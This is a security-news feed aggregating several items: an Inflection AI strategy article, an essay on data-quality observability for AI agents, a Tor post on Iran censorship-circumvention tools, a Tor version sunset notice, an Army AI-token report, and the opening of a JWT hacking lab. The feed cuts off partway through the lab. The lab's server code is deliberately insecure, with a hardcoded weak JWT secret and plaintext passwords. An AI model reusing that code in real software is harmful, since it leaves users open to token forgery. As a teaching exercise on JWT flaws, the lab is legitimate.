structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
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<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
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<title><![CDATA[Paskoocheh: When you need a tool to reach the tool]]></title>
<description><![CDATA[++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumve...]]></description>
<link>https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
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    <div class="body"><p><em><strong>++ This guest post is part of a spotlight series on the organizations <a href="https://internetfreedom.torproject.org/">defending the free Internet</a>.++</strong></em></p>
<p>Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.</p>
<p>Launched in 2016, <a href="https://paskoocheh.com/">Paskoocheh</a>, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. </p>
<p>Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, <a href="https://paskoocheh.com/blog/posts/">blog posts</a>, and multimedia content to help users navigate online privacy and digital security best practices.</p>
<p>Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.</p>
<h2>Paskoocheh's impact so far</h2>
<p>This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.</p>
<ul>
<li><p><strong># of tool downloads since 2016:</strong>   17,634,852 </p>
</li>
<li><p><strong># of community members in Iran supporting testing and localization efforts:</strong>  2,000+</p>
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<li><p><strong># of monthly active users on web and app:</strong>  ~200K</p>
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<p>During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: </p>
<blockquote><p><em>"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."</em></p>
</blockquote>
<p>Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.</p>
<h2>The future of Paskoocheh: Scaling a community-first approach to internet freedom</h2>
<p>As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. </p>
<p>What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.</p>
<p>That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. </p>
<p>This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. </p>
<p>With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. </p>
<p>This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. </p>
<h3>About ASL19</h3>
<p>Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.</p>

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        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/human-rights">
          human rights
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/partners">
          partners
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/fundraising">
          fundraising
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
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<title><![CDATA[Sunsetting Tor 0.4.8 – Please update to 0.4.9 by September]]></title>
<description><![CDATA[Hello Tor Community!
As you know, different teams inside the Tor Project are working on the Arti
Relay project where we hope to be able to begin the upgrade of the network
towards our Rust implementation of Tor in the near future. To support this
work, we would like to announce that we intend to ...]]></description>
<link>https://tsecurity.de/de/3687542/it-security-tools/sunsetting-tor-048-please-update-to-049-by-september/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687542/it-security-tools/sunsetting-tor-048-please-update-to-049-by-september/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:49 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/static/images/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/static/images/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/static/images/lead.png">
    </picture>
    <div class="body"><p>Hello Tor Community!</p>
<p>As you know, different teams inside the Tor Project are working on the Arti
Relay project where we hope to be able to begin the upgrade of the network
towards our Rust implementation of Tor in the near future. To support this
work, we would like to announce that we intend to actively stop compatibility
for 0.4.8 and earlier C Tor versions soon. This means that these versions will
<em>no longer work on the network at all</em> after our target date, which is
currently September 1st, 2026.</p>
<p>If you’re a Tor Browser user running an up-to-date version of Tor Browser, this
won't impact you. If you're running an older, perhaps not-so-well-maintained,
Onion Service somewhere, or you’re building an app that integrates C Tor, you
may want to read along here.</p>
<p><a href="https://gitlab.torproject.org/tpo/core/team/-/wikis/NetworkTeam/CoreTorReleases#list-of-releases">Tor 0.4.8 reached End of Life on the 1st of
June</a>,
and there will not be any more updates to this release series. We highly
encourage people to upgrade to the Tor 0.4.9 series (or later).</p>
<p>Usually, we try not to break existing releases, even if they are unsupported,
unless we have a pretty good reason. In this case, we have several reasons.
With the work towards Arti on both the client and relay, the Network Team has
identified a couple of features we would like to remove from the Tor ecosystem.
Removing support for 0.4.8 will help us facilitate a smooth transition, and reduce effort associated with
difficult to maintain features that provide very little value. Unfortunately,
because Tor’s Directory Protocol layer works the way it does, we cannot remove
these features without affecting older clients.</p>
<p>The most important reason is this: in 0.4.9, we have made some former fields in
our directory data obsolete -- specifically, <a href="https://spec.torproject.org/proposals/350-remove-tap.html">TAP onion
keys</a> and <a href="https://spec.torproject.org/proposals/321-happy-families.html">family
lines</a>. Removing
these fields will let us save a great deal of client directory bandwidth for
everyone.  This, in turn, will make all Tor clients bootstrap a little faster,
especially those on slow connections. But when we remove these fields, clients
and relays running earlier versions of Tor will no longer work, since they
expect the TAP onion keys to be present. Therefore, in order to deliver
improved performance faster, we need to accelerate the date on which 0.4.8 will
stop working.</p>
<p>The secondary reason for sunsetting 0.4.8: Our Arti directory authority
implementation needs network integration soon, and it will be easier to write
if it doesn’t support deprecated fields.</p>
<p>With this blog post out, we will begin reaching out to the downstreams of Tor
we identified as shipping older versions and try to get them to upgrade. We
appreciate community help here, too. If you identify that your favorite project
that bundles Tor uses an outdated version of Tor, please reach out to them and
(politely!) encourage them to upgrade. We are tracking some of this outreach in
<a href="https://gitlab.torproject.org/tpo/network-health/team/-/work_items/460">network-health/team#460</a>.
If you have a very good reason for needing a longer time with 0.4.8 support
than 1 September 2026, please let us know by leaving a comment on that ticket.</p>
<p>Thank you!</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/tor">
          tor
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
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<title><![CDATA[The Army Is Burning Through Its AI Tokens]]></title>
<description><![CDATA[An anonymous reader quotes a report from Wired: A little over a month after the Department of Defense (DOD) bragged that nearly half of its 3.5 million employees were using AI at work, members of the Army's Combat Capabilities Development Command (DEVCOM) received an email informing them that the...]]></description>
<link>https://tsecurity.de/de/3687412/it-security-nachrichten/the-army-is-burning-through-its-ai-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687412/it-security-nachrichten/the-army-is-burning-through-its-ai-tokens/</guid>
<pubDate>Wed, 22 Jul 2026 21:10:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Wired: A little over a month after the Department of Defense (DOD) bragged that nearly half of its 3.5 million employees were using AI at work, members of the Army's Combat Capabilities Development Command (DEVCOM) received an email informing them that they were burning through tokens, and needed to limit use. "Although the Army CIO announced in May 2026 that they were offering unlimited tokens, by mid-June the Army CIO pool was exhausted of tokens and had to re-establish limits," the email reads. The email goes on to say that although the Army has chosen to renew token usage at "its current levels," it's unclear "if the Army CIO pool will be renewed after 1 Oct."
 
The Army uses Ask Sage, a multimodal generative AI platform where users can run different large language models (LLMs), including Alphabet's Gemini, Meta's Llama, and OpenAI's ChatGPT. "Apparently the whole Army burned through the whole year of tokens for just one service," says an Army employee who spoke to WIRED [...]. The Army employee says that the Army has been pushing its workers to lean into using generative AI. Employees were given an allotment of at least 200,000 tokens per month, according to emails viewed by WIRED, and were automatically allocated more if they burned through their initial allotment. Employees who had signed up for Ask Sage but were not regularly using it would receive emails encouraging them to use more of their allocated tokens.
 
In order to use Ask Sage, the Army had access to 100,000,000 tokens as part of an annual subscription to an "enterprise pack." Tokens represent a unit of output, either in text or image, from an LLM. For the Ask Sage tool, a single token equates to about 3.7 characters, according to documents viewed by WIRED. The Defense Department burned through some 20 billion tokens per day during the 38-day Operation Epic Fury in Iran, according to Breaking Defense. It's unclear if the tokens used by regular DOD employees are drawn from the same pool as those who might be using AI tools on classified or secret information.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/22/179241/the-army-is-burning-through-its-ai-tokens?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out]]></title>
<description><![CDATA[JWT-based authentication is simple to start with and surprisingly hard to get right. The naive setup of a long-lived access token stored in the browser is a security liability. The textbook fixes short-lived access tokens plus a refresh token —…
Read more →
The post Refresh Token Rotation in Node...]]></description>
<link>https://tsecurity.de/de/3687406/it-security-nachrichten/refresh-token-rotation-in-nodejs-stopping-token-theft-without-logging-users-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687406/it-security-nachrichten/refresh-token-rotation-in-nodejs-stopping-token-theft-without-logging-users-out/</guid>
<pubDate>Wed, 22 Jul 2026 21:08:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JWT-based authentication is simple to start with and surprisingly hard to get right. The naive setup of a long-lived access token stored in the browser is a security liability. The textbook fixes short-lived access tokens plus a refresh token —…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/refresh-token-rotation-in-node-js-stopping-token-theft-without-logging-users-out/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/refresh-token-rotation-in-node-js-stopping-token-theft-without-logging-users-out/">Refresh Token Rotation in Node.js: Stopping Token Theft Without Logging Users Out</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    